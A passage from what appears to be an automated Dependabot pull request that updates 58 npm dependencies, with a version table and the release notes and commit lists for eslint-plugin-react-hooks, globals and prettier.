bump","group_name":"npm-minor-patch","update_count":58,"packages":[{"name":"eslint-plugin-react-hooks","old_version":"7.0.1","new_version":"7.1.1","repository_url":"https://github.com/facebook/react"},{"name":"globals","old_version":"17.5.0","new_version":"17.7.0","repository_url":"https://github.com/sindresorhus/globals"},{"name":"prettier","old_version":"3.8.2","new_version":"3.9.5","repository_url":"https://github.com/prettier/prettier"},{"name":"typescript-eslint","old_version":"8.58.1","new_version":"8.64.0","repository_url":"https://github.com/typescript-eslint/typescript-eslint"},{"name":"wait-on","old_version":"9.0.5","new_version":"9.0.10","repository_url":"https://github.com/jeffbski/wait-on"},{"name":"@opencode-ai/sdk","old_version":"1.14.18","new_version":"1.17.20","repository_url":"https://github.com/sst/opencode-sdk-js"},{"name":"better-sqlite3","old_version":"12.8.0","new_version":"12.11.1","repository_url":"https://github.com/WiseLibs/better-sqlite3"},{"name":"tsx","old_version":"4.21.0","new_version":"4.23.1","repository_url":"https://github.com/privatenumber/tsx"},{"name":"vitest","old_version":"4.1.4","new_version":"4.1.10","repository_url":"https://github.com/vitest-dev/vitest"},{"name":"@aws-sdk/client-bedrock","old_version":"3.1029.0","new_version":"3.1086.0","repository_url":"https://github.com/aws/aws-sdk-js-v3"},{"name":"@aws-sdk/credential-providers","old_version":"3.1029.0","new_version":"3.1086.0","repository_url":"https://github.com/aws/aws-sdk-js-v3"},{"name":"@huggingface/transformers","old_version":"4.0.1","new_version":"4.2.0","repository_url":"https://github.com/huggingface/transformers.js"},{"name":"@sentry/electron","old_version":"7.11.0","new_version":"7.15.0","repository_url":"https://github.com/getsentry/sentry-electron"},{"name":"electron-updater","old_version":"6.8.3","new_version":"6.8.9","repository_url":"https://github.com/electron-userland/electron-builder"},{"name":"mixpanel","old_version":"0.21.0","new_version":"0.22.0","repository_url":"https://github.com/mixpanel/mixpanel-node"},{"name":"opencode-ai","old_version":"1.14.18","new_version":"1.17.20","repository_url":"https://github.com/anomalyco/opencode"},{"name":"react","old_version":"19.2.5","new_version":"19.2.7","repository_url":"https://github.com/facebook/react"},{"name":"@types/react","old_version":"19.2.14","new_version":"19.2.17","repository_url":"https://github.com/DefinitelyTyped/DefinitelyTyped"},{"name":"react-dom","old_version":"19.2.5","new_version":"19.2.7","repository_url":"https://github.com/facebook/react"},{"name":"semver","old_version":"7.7.4","new_version":"7.8.5","repository_url":"https://github.com/npm/node-semver"},{"name":"undici","old_version":"8.1.0","new_version":"8.7.0","repository_url":"https://github.com/nodejs/undici"},{"name":"@playwright/test","old_version":"1.59.1","new_version":"1.61.1","repository_url":"https://github.com/microsoft/playwright"},{"name":"@vitest/coverage-v8","old_version":"4.1.4","new_version":"4.1.10","repository_url":"https://github.com/vitest-dev/vitest"},{"name":"esbuild","old_version":"0.28.0","new_version":"0.28.1","repository_url":"https://github.com/evanw/esbuild"},{"name":"vite","old_version":"8.0.8","new_version":"8.1.4","repository_url":"https://github.com/vitejs/vite"},{"name":"opencode-darwin-arm64","old_version":"1.14.18","new_version":"1.17.20"},{"name":"opencode-darwin-x64","old_version":"1.14.18","new_version":"1.17.20"},{"name":"opencode-darwin-x64-baseline","old_version":"1.14.18","new_version":"1.17.20"},{"name":"opencode-linux-arm64","old_version":"1.14.18","new_version":"1.17.20"},{"name":"opencode-linux-arm64-musl","old_version":"1.14.18","new_version":"1.17.20"},{"name":"opencode-linux-x64","old_version":"1.14.18","new_version":"1.17.20"},{"name":"opencode-linux-x64-baseline","old_version":"1.14.18","new_version":"1.17.20"},{"name":"opencode-linux-x64-baseline-musl","old_version":"1.14.18","new_version":"1.17.20"},{"name":"opencode-linux-x64-musl","old_version":"1.14.18","new_version":"1.17.20"},{"name":"opencode-windows-x64","old_version":"1.14.18","new_version":"1.17.20"},{"name":"opencode-windows-x64-baseline","old_version":"1.14.18","new_version":"1.17.20"},{"name":"@radix-ui/react-avatar","old_version":"1.1.11","new_version":"1.2.2","repository_url":"https://github.com/radix-ui/primitives"},{"name":"@radix-ui/react-dialog","old_version":"1.1.15","new_version":"1.1.19","repository_url":"https://github.com/radix-ui/primitives"},{"name":"@radix-ui/react-dropdown-menu","old_version":"2.1.16","new_version":"2.1.20","repository_url":"https://github.com/radix-ui/primitives"},{"name":"@radix-ui/react-label","old_version":"2.1.8","new_version":"2.1.11","repository_url":"https://github.com/radix-ui/primitives"},{"name":"@radix-ui/react-popover","old_version":"1.1.15","new_version":"1.1.19","repository_url":"https://github.com/radix-ui/primitives"},{"name":"@radix-ui/react-select","old_version":"2.2.6","new_version":"2.3.3","repository_url":"https://github.com/radix-ui/primitives"},{"name":"@radix-ui/react-separator","old_version":"1.1.8","new_version":"1.1.11","repository_url":"https://github.com/radix-ui/primitives"},{"name":"@radix-ui/react-slot","old_version":"1.2.4","new_version":"1.3.0","repository_url":"https://github.com/radix-ui/primitives"},{"name":"@radix-ui/react-switch","old_version":"1.2.6","new_version":"1.3.3","repository_url":"https://github.com/radix-ui/primitives"},{"name":"@radix-ui/react-tabs","old_version":"1.1.13","new_version":"1.1.17","repository_url":"https://github.com/radix-ui/primitives"},{"name":"@radix-ui/react-tooltip","old_version":"1.2.8","new_version":"1.2.12","repository_url":"https://github.com/radix-ui/primitives"},{"name":"framer-motion","old_version":"12.38.0","new_version":"12.42.2","repository_url":"https://github.com/motiondivision/motion"},{"name":"i18next","old_version":"26.0.4","new_version":"26.3.6","repository_url":"https://github.com/i18next/i18next"},{"name":"lucide-react","old_version":"1.8.0","new_version":"1.24.0","repository_url":"https://github.com/lucide-icons/lucide"},{"name":"react-i18next","old_version":"17.0.2","new_version":"17.0.9","repository_url":"https://github.com/i18next/react-i18next"},{"name":"tailwind-merge","old_version":"3.5.0","new_version":"3.6.0","repository_url":"https://github.com/dcastil/tailwind-merge"},{"name":"zustand","old_version":"5.0.12","new_version":"5.0.14","repository_url":"https://github.com/pmndrs/zustand"},{"name":"@tailwindcss/typography","old_version":"0.5.19","new_version":"0.5.20","repository_url":"https://github.com/tailwindlabs/tailwindcss-typography"},{"name":"@vitejs/plugin-react","old_version":"6.0.1","new_version":"6.0.3","repository_url":"https://github.com/vitejs/vite-plugin-react"},{"name":"autoprefixer","old_version":"10.4.27","new_version":"10.5.2","repository_url":"https://github.com/postcss/autoprefixer"},{"name":"jsdom","old_version":"29.0.2","new_version":"29.1.1","repository_url":"https://github.com/jsdom/jsdom"},{"name":"postcss","old_version":"8.5.9","new_version":"8.5.19","repository_url":"https://github.com/postcss/postcss"}],"path":null,"ecosystem":"npm"},"body":"Bumps the npm-minor-patch group with 58 updates in the / directory:\n\n| Package | From | To |\n| --- | --- | --- |\n| [eslint-plugin-react-hooks](https://github.com/facebook/react/tree/HEAD/packages/eslint-plugin-react-hooks) | `7.0.1` | `7.1.1` |\n| [globals](https://github.com/sindresorhus/globals) | `17.5.0` | `17.7.0` |\n| [prettier](https://github.com/prettier/prettier) | `3.8.2` | `3.9.5` |\n| [typescript-eslint](https://github.com/typescript-eslint/typescript-eslint/tree/HEAD/packages/typescript-eslint) | `8.58.1` | `8.64.0` |\n| [wait-on](https://github.com/jeffbski/wait-on) | `9.0.5` | `9.0.10` |\n| [@opencode-ai/sdk](https://github.com/sst/opencode-sdk-js) | `1.14.18` | `1.17.20` |\n| [better-sqlite3](https://github.com/WiseLibs/better-sqlite3) | `12.8.0` | `12.11.1` |\n| [tsx](https://github.com/privatenumber/tsx) | `4.21.0` | `4.23.1` |\n| [vitest](https://github.com/vitest-dev/vitest/tree/HEAD/packages/vitest) | `4.1.4` | `4.1.10` |\n| [@aws-sdk/client-bedrock](https://github.com/aws/aws-sdk-js-v3/tree/HEAD/clients/client-bedrock) | `3.1029.0` | `3.1086.0` |\n| [@aws-sdk/credential-providers](https://github.com/aws/aws-sdk-js-v3/tree/HEAD/packages/credential-providers) | `3.1029.0` | `3.1086.0` |\n| [@huggingface/transformers](https://github.com/huggingface/transformers.js) | `4.0.1` | `4.2.0` |\n| [@sentry/electron](https://github.com/getsentry/sentry-electron) | `7.11.0` | `7.15.0` |\n| [electron-updater](https://github.com/electron-userland/electron-builder/tree/HEAD/packages/electron-updater) | `6.8.3` | `6.8.9` |\n| [mixpanel](https://github.com/mixpanel/mixpanel-node/tree/HEAD/packages/mixpanel) | `0.21.0` | `0.22.0` |\n| [opencode-ai](https://github.com/anomalyco/opencode) | `1.14.18` | `1.17.20` |\n| [react](https://github.com/facebook/react/tree/HEAD/packages/react) | `19.2.5` | `19.2.7` |\n| [@types/react](https://github.com/DefinitelyTyped/DefinitelyTyped/tree/HEAD/types/react) | `19.2.14` | `19.2.17` |\n| [react-dom](https://github.com/facebook/react/tree/HEAD/packages/react-dom) | `19.2.5` | `19.2.7` |\n| [semver](https://github.com/npm/node-semver) | `7.7.4` | `7.8.5` |\n| [undici](https://github.com/nodejs/undici) | `8.1.0` | `8.7.0` |\n| [@playwright/test](https://github.com/microsoft/playwright) | `1.59.1` | `1.61.1` |\n| [@vitest/coverage-v8](https://github.com/vitest-dev/vitest/tree/HEAD/packages/coverage-v8) | `4.1.4` | `4.1.10` |\n| [esbuild](https://github.com/evanw/esbuild) | `0.28.0` | `0.28.1` |\n| [vite](https://github.com/vitejs/vite/tree/HEAD/packages/vite) | `8.0.8` | `8.1.4` |\n| opencode-darwin-arm64 | `1.14.18` | `1.17.20` |\n| opencode-darwin-x64 | `1.14.18` | `1.17.20` |\n| opencode-darwin-x64-baseline | `1.14.18` | `1.17.20` |\n| opencode-linux-arm64 | `1.14.18` | `1.17.20` |\n| opencode-linux-arm64-musl | `1.14.18` | `1.17.20` |\n| opencode-linux-x64 | `1.14.18` | `1.17.20` |\n| opencode-linux-x64-baseline | `1.14.18` | `1.17.20` |\n| opencode-linux-x64-baseline-musl | `1.14.18` | `1.17.20` |\n| opencode-linux-x64-musl | `1.14.18` | `1.17.20` |\n| opencode-windows-x64 | `1.14.18` | `1.17.20` |\n| opencode-windows-x64-baseline | `1.14.18` | `1.17.20` |\n| [@radix-ui/react-avatar](https://github.com/radix-ui/primitives/tree/HEAD/packages/react/avatar) | `1.1.11` | `1.2.2` |\n| [@radix-ui/react-dialog](https://github.com/radix-ui/primitives/tree/HEAD/packages/react/dialog) | `1.1.15` | `1.1.19` |\n| [@radix-ui/react-dropdown-menu](https://github.com/radix-ui/primitives/tree/HEAD/packages/react/dropdown-menu) | `2.1.16` | `2.1.20` |\n| [@radix-ui/react-label](https://github.com/radix-ui/primitives/tree/HEAD/packages/react/label) | `2.1.8` | `2.1.11` |\n| [@radix-ui/react-popover](https://github.com/radix-ui/primitives/tree/HEAD/packages/react/popover) | `1.1.15` | `1.1.19` |\n| [@radix-ui/react-select](https://github.com/radix-ui/primitives/tree/HEAD/packages/react/select) | `2.2.6` | `2.3.3` |\n| [@radix-ui/react-separator](https://github.com/radix-ui/primitives/tree/HEAD/packages/react/separator) | `1.1.8` | `1.1.11` |\n| [@radix-ui/react-slot](https://github.com/radix-ui/primitives/tree/HEAD/packages/react/slot) | `1.2.4` | `1.3.0` |\n| [@radix-ui/react-switch](https://github.com/radix-ui/primitives/tree/HEAD/packages/react/switch) | `1.2.6` | `1.3.3` |\n| [@radix-ui/react-tabs](https://github.com/radix-ui/primitives/tree/HEAD/packages/react/tabs) | `1.1.13` | `1.1.17` |\n| [@radix-ui/react-tooltip](https://github.com/radix-ui/primitives/tree/HEAD/packages/react/tooltip) | `1.2.8` | `1.2.12` |\n| [framer-motion](https://github.com/motiondivision/motion) | `12.38.0` | `12.42.2` |\n| [i18next](https://github.com/i18next/i18next) | `26.0.4` | `26.3.6` |\n| [lucide-react](https://github.com/lucide-icons/lucide/tree/HEAD/packages/lucide-react) | `1.8.0` | `1.24.0` |\n| [react-i18next](https://github.com/i18next/react-i18next) | `17.0.2` | `17.0.9` |\n| [tailwind-merge](https://github.com/dcastil/tailwind-merge) | `3.5.0` | `3.6.0` |\n| [zustand](https://github.com/pmndrs/zustand) | `5.0.12` | `5.0.14` |\n| [@tailwindcss/typography](https://github.com/tailwindlabs/tailwindcss-typography) | `0.5.19` | `0.5.20` |\n| [@vitejs/plugin-react](https://github.com/vitejs/vite-plugin-react/tree/HEAD/packages/plugin-react) | `6.0.1` | `6.0.3` |\n| [autoprefixer](https://github.com/postcss/autoprefixer) | `10.4.27` | `10.5.2` |\n| [jsdom](https://github.com/jsdom/jsdom) | `29.0.2` | `29.1.1` |\n| [postcss](https://github.com/postcss/postcss) | `8.5.9` | `8.5.19` |\n\n\nUpdates `eslint-plugin-react-hooks` from 7.0.1 to 7.1.1\n\u003cdetails\u003e\n\u003csummary\u003eRelease notes\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/facebook/react/releases\"\u003eeslint-plugin-react-hooks's releases\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003eeslint-plugin-react-hooks@7.1.1 (April 17, 2026)\u003c/h2\u003e\n\u003cp\u003e\u003cstrong\u003eNote:\u003c/strong\u003e 7.1.0 accidentally removed the \u003ccode\u003ecomponent-hook-factories\u003c/code\u003e rule, causing errors for users who referenced it in their ESLint config. This is now fixed.\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003eAdd deprecated no-op \u003ccode\u003ecomponent-hook-factories\u003c/code\u003e rule for backwards compatibility. (\u003ca href=\"https://github.com/mofeiZ\"\u003e\u003ccode\u003e@​mofeiZ\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/facebook/react/pull/36307\"\u003e#36307\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003eeslint-plugin-react-hooks@7.1.0 (April 16, 2026)\u003c/h2\u003e\n\u003cp\u003eThis release adds ESLint v10 support, improves performance by skipping compilation for non-React files, and includes compiler lint improvements including better \u003ccode\u003eset-state-in-effect\u003c/code\u003e detection, improved ref validation, and more helpful error reporting.\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003eAdd ESLint v10 support. (\u003ca href=\"https://github.com/azat-io\"\u003e\u003ccode\u003e@​azat-io\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/facebook/react/pull/35720\"\u003e#35720\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eSkip compilation for non-React files to improve performance. (\u003ca href=\"https://github.com/josephsavona\"\u003e\u003ccode\u003e@​josephsavona\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/facebook/react/pull/35589\"\u003e#35589\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eFix exhaustive deps bug with Flow type casting. (\u003ca href=\"https://github.com/jorge-cab\"\u003e\u003ccode\u003e@​jorge-cab\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/facebook/react/pull/35691\"\u003e#35691\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eFix \u003ccode\u003euseEffectEvent\u003c/code\u003e checks in component syntax. (\u003ca href=\"https://github.com/jbrown215\"\u003e\u003ccode\u003e@​jbrown215\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/facebook/react/pull/35041\"\u003e#35041\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eImproved \u003ccode\u003eset-state-in-effect\u003c/code\u003e validation with fewer false negatives. (\u003ca href=\"https://github.com/jorge-cab\"\u003e\u003ccode\u003e@​jorge-cab\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/facebook/react/pull/35134\"\u003e#35134\u003c/a\u003e, \u003ca href=\"https://github.com/josephsavona\"\u003e\u003ccode\u003e@​josephsavona\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/facebook/react/pull/35147\"\u003e#35147\u003c/a\u003e, \u003ca href=\"https://github.com/jackpope\"\u003e\u003ccode\u003e@​jackpope\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/facebook/react/pull/35214\"\u003e#35214\u003c/a\u003e, \u003ca href=\"https://github.com/chesnokov-tony\"\u003e\u003ccode\u003e@​chesnokov-tony\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/facebook/react/pull/35419\"\u003e#35419\u003c/a\u003e, \u003ca href=\"https://github.com/jsleitor\"\u003e\u003ccode\u003e@​jsleitor\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/facebook/react/pull/36107\"\u003e#36107\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eImproved ref validation for non-mutating functions and event handler props. (\u003ca href=\"https://github.com/josephsavona\"\u003e\u003ccode\u003e@​josephsavona\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/facebook/react/pull/35893\"\u003e#35893\u003c/a\u003e, \u003ca href=\"https://github.com/kolvian\"\u003e\u003ccode\u003e@​kolvian\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/facebook/react/pull/35062\"\u003e#35062\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eCompiler now reports all errors instead of stopping at the first. (\u003ca href=\"https://github.com/josephsavona\"\u003e\u003ccode\u003e@​josephsavona\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/facebook/react/pull/35873\"\u003e#35873\u003c/a\u003e–\u003ca href=\"https://redirect.github.com/facebook/react/pull/35884\"\u003e#35884\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eImproved source locations and error display in compiler diagnostics. (\u003ca href=\"https://github.com/nathanmarks\"\u003e\u003ccode\u003e@​nathanmarks\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/facebook/react/pull/35348\"\u003e#35348\u003c/a\u003e, \u003ca href=\"https://github.com/josephsavona\"\u003e\u003ccode\u003e@​josephsavona\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/facebook/react/pull/34963\"\u003e#34963\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/blockquote\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eChangelog\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/react/react/blob/main/packages/eslint-plugin-react-hooks/CHANGELOG.md\"\u003eeslint-plugin-react-hooks's changelog\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003e7.1.1\u003c/h2\u003e\n\u003cp\u003e\u003cstrong\u003eNote:\u003c/strong\u003e 7.1.0 accidentally removed the \u003ccode\u003ecomponent-hook-factories\u003c/code\u003e rule, causing errors for users who referenced it in their ESLint config. This is now fixed.\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003eAdd deprecated no-op \u003ccode\u003ecomponent-hook-factories\u003c/code\u003e rule for backwards compatibility. (\u003ca href=\"https://github.com/mofeiZ\"\u003e\u003ccode\u003e@​mofeiZ\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/facebook/react/pull/36307\"\u003e#36307\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e7.1.0\u003c/h2\u003e\n\u003cp\u003eThis release adds ESLint v10 support, improves performance by skipping compilation for non-React files, and includes compiler lint improvements including better \u003ccode\u003eset-state-in-effect\u003c/code\u003e detection, improved ref validation, and more helpful error reporting.\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003eAdd ESLint v10 support. (\u003ca href=\"https://github.com/azat-io\"\u003e\u003ccode\u003e@​azat-io\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/facebook/react/pull/35720\"\u003e#35720\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eSkip compilation for non-React files to improve performance. (\u003ca href=\"https://github.com/josephsavona\"\u003e\u003ccode\u003e@​josephsavona\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/facebook/react/pull/35589\"\u003e#35589\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eFix exhaustive deps bug with Flow type casting. (\u003ca href=\"https://github.com/jorge-cab\"\u003e\u003ccode\u003e@​jorge-cab\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/facebook/react/pull/35691\"\u003e#35691\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eFix \u003ccode\u003euseEffectEvent\u003c/code\u003e checks in component syntax. (\u003ca href=\"https://github.com/jbrown215\"\u003e\u003ccode\u003e@​jbrown215\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/facebook/react/pull/35041\"\u003e#35041\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eImproved \u003ccode\u003eset-state-in-effect\u003c/code\u003e validation with fewer false negatives. (\u003ca href=\"https://github.com/jorge-cab\"\u003e\u003ccode\u003e@​jorge-cab\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/facebook/react/pull/35134\"\u003e#35134\u003c/a\u003e, \u003ca href=\"https://github.com/josephsavona\"\u003e\u003ccode\u003e@​josephsavona\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/facebook/react/pull/35147\"\u003e#35147\u003c/a\u003e, \u003ca href=\"https://github.com/jackpope\"\u003e\u003ccode\u003e@​jackpope\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/facebook/react/pull/35214\"\u003e#35214\u003c/a\u003e, \u003ca href=\"https://github.com/chesnokov-tony\"\u003e\u003ccode\u003e@​chesnokov-tony\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/facebook/react/pull/35419\"\u003e#35419\u003c/a\u003e, \u003ca href=\"https://github.com/jsleitor\"\u003e\u003ccode\u003e@​jsleitor\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/facebook/react/pull/36107\"\u003e#36107\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eImproved ref validation for non-mutating functions and event handler props. (\u003ca href=\"https://github.com/josephsavona\"\u003e\u003ccode\u003e@​josephsavona\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/facebook/react/pull/35893\"\u003e#35893\u003c/a\u003e, \u003ca href=\"https://github.com/kolvian\"\u003e\u003ccode\u003e@​kolvian\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/facebook/react/pull/35062\"\u003e#35062\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eCompiler now reports all errors instead of stopping at the first. (\u003ca href=\"https://github.com/josephsavona\"\u003e\u003ccode\u003e@​josephsavona\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/facebook/react/pull/35873\"\u003e#35873\u003c/a\u003e–\u003ca href=\"https://redirect.github.com/facebook/react/pull/35884\"\u003e#35884\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eImproved source locations and error display in compiler diagnostics. (\u003ca href=\"https://github.com/nathanmarks\"\u003e\u003ccode\u003e@​nathanmarks\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/facebook/react/pull/35348\"\u003e#35348\u003c/a\u003e, \u003ca href=\"https://github.com/josephsavona\"\u003e\u003ccode\u003e@​josephsavona\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/facebook/react/pull/34963\"\u003e#34963\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/blockquote\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003eSee full diff in \u003ca href=\"https://github.com/facebook/react/commits/eslint-plugin-react-hooks@7.1.1/packages/eslint-plugin-react-hooks\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\nUpdates `globals` from 17.5.0 to 17.7.0\n\u003cdetails\u003e\n\u003csummary\u003eRelease notes\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/sindresorhus/globals/releases\"\u003eglobals's releases\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003ev17.7.0\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003eUpdate globals (2026-06-22) (\u003ca href=\"https://redirect.github.com/sindresorhus/globals/issues/345\"\u003e#345\u003c/a\u003e)  33b75f9\u003c/li\u003e\n\u003c/ul\u003e\n\u003chr /\u003e\n\u003cp\u003e\u003ca href=\"https://github.com/sindresorhus/globals/compare/v17.6.0...v17.7.0\"\u003ehttps://github.com/sindresorhus/globals/compare/v17.6.0...v17.7.0\u003c/a\u003e\u003c/p\u003e\n\u003ch2\u003ev17.6.0\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003eUpdate globals (2026-05-01) (\u003ca href=\"https://redirect.github.com/sindresorhus/globals/issues/343\"\u003e#343\u003c/a\u003e)  00a4dd9\u003c/li\u003e\n\u003c/ul\u003e\n\u003chr /\u003e\n\u003cp\u003e\u003ca href=\"https://github.com/sindresorhus/globals/compare/v17.5.0...v17.6.0\"\u003ehttps://github.com/sindresorhus/globals/compare/v17.5.0...v17.6.0\u003c/a\u003e\u003c/p\u003e\n\u003c/blockquote\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/sindresorhus/globals/commit/a19670cc86c1218e915657c55ea02ba3e7623834\"\u003e\u003ccode\u003ea19670c\u003c/code\u003e\u003c/a\u003e 17.7.0\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/sindresorhus/globals/commit/9611620bad0ea45531ae0261b986ce694374e42c\"\u003e\u003ccode\u003e9611620\u003c/code\u003e\u003c/a\u003e Update actions (\u003ca href=\"https://redirect.github.com/sindresorhus/globals/issues/346\"\u003e#346\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/sindresorhus/globals/commit/33b75f9ddeb6f9ddd81251b043667eb8104a8d15\"\u003e\u003ccode\u003e33b75f9\u003c/code\u003e\u003c/a\u003e Update globals (2026-06-22) (\u003ca href=\"https://redirect.github.com/sindresorhus/globals/issues/345\"\u003e#345\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/sindresorhus/globals/commit/887dd529bde24486b7f9e31d1b2c515df2b7cf5c\"\u003e\u003ccode\u003e887dd52\u003c/code\u003e\u003c/a\u003e Fix build script (\u003ca href=\"https://redirect.github.com/sindresorhus/globals/issues/344\"\u003e#344\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/sindresorhus/globals/commit/6b15870f1c08b60b5b57afe45a703d9ed0be39bc\"\u003e\u003ccode\u003e6b15870\u003c/code\u003e\u003c/a\u003e 17.6.0\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/sindresorhus/globals/commit/00a4dd9821830a9b044798120e86b1bb1a54648d\"\u003e\u003ccode\u003e00a4dd9\u003c/code\u003e\u003c/a\u003e Update globals (2026-05-01) (\u003ca href=\"https://redirect.github.com/sindresorhus/globals/issues/343\"\u003e#343\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eSee full diff in \u003ca href=\"https://github.com/sindresorhus/globals/compare/v17.5.0...v17.7.0\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\nUpdates `prettier` from 3.8.2 to 3.9.5\n\u003cdetails\u003e\n\u003csummary\u003eRelease notes\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/prettier/prettier/releases\"\u003eprettier's releases\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003e3.9.5\u003c/h2\u003e\n\u003cp\u003e🔗 \u003ca href=\"https://github.com/prettier/prettier/blob/3.9.5/CHANGELOG.md#395\"\u003eChangelog\u003c/a\u003e\u003c/p\u003e\n\u003ch2\u003e3.9.4\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003eAngular: Format \u003ccode\u003e@content(name)\u003c/code\u003e -\u0026gt; \u003ccode\u003e@content (name)\u003c/code\u003e to align with other block syntax (\u003ca href=\"https://redirect.github.com/prettier/prettier/pull/19499\"\u003e#19499\u003c/a\u003e by \u003ca href=\"https://github.com/fisker\"\u003e\u003ccode\u003e@​fisker\u003c/code\u003e\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003e🔗 \u003ca href=\"https://github.com/prettier/prettier/blob/3.9.4/CHANGELOG.md#394\"\u003eChangelog\u003c/a\u003e\u003c/p\u003e\n\u003ch2\u003e3.9.3\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003eMarkdown: Fix unexpected removal of characters in liquid syntax (\u003ca href=\"https://redirect.github.com/prettier/prettier/pull/19489\"\u003eprettier/prettier#19489\u003c/a\u003e by \u003ca href=\"https://github.com/seiyab\"\u003e\u003ccode\u003e@​seiyab\u003c/code\u003e\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eTypeScript: Allow decorators to be used with declare on class fields (\u003ca href=\"https://redirect.github.com/prettier/prettier/pull/19492\"\u003eprettier/prettier#19492\u003c/a\u003e by \u003ca href=\"https://github.com/evoactivity\"\u003e\u003ccode\u003e@​evoactivity\u003c/code\u003e\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003e🔗 \u003ca 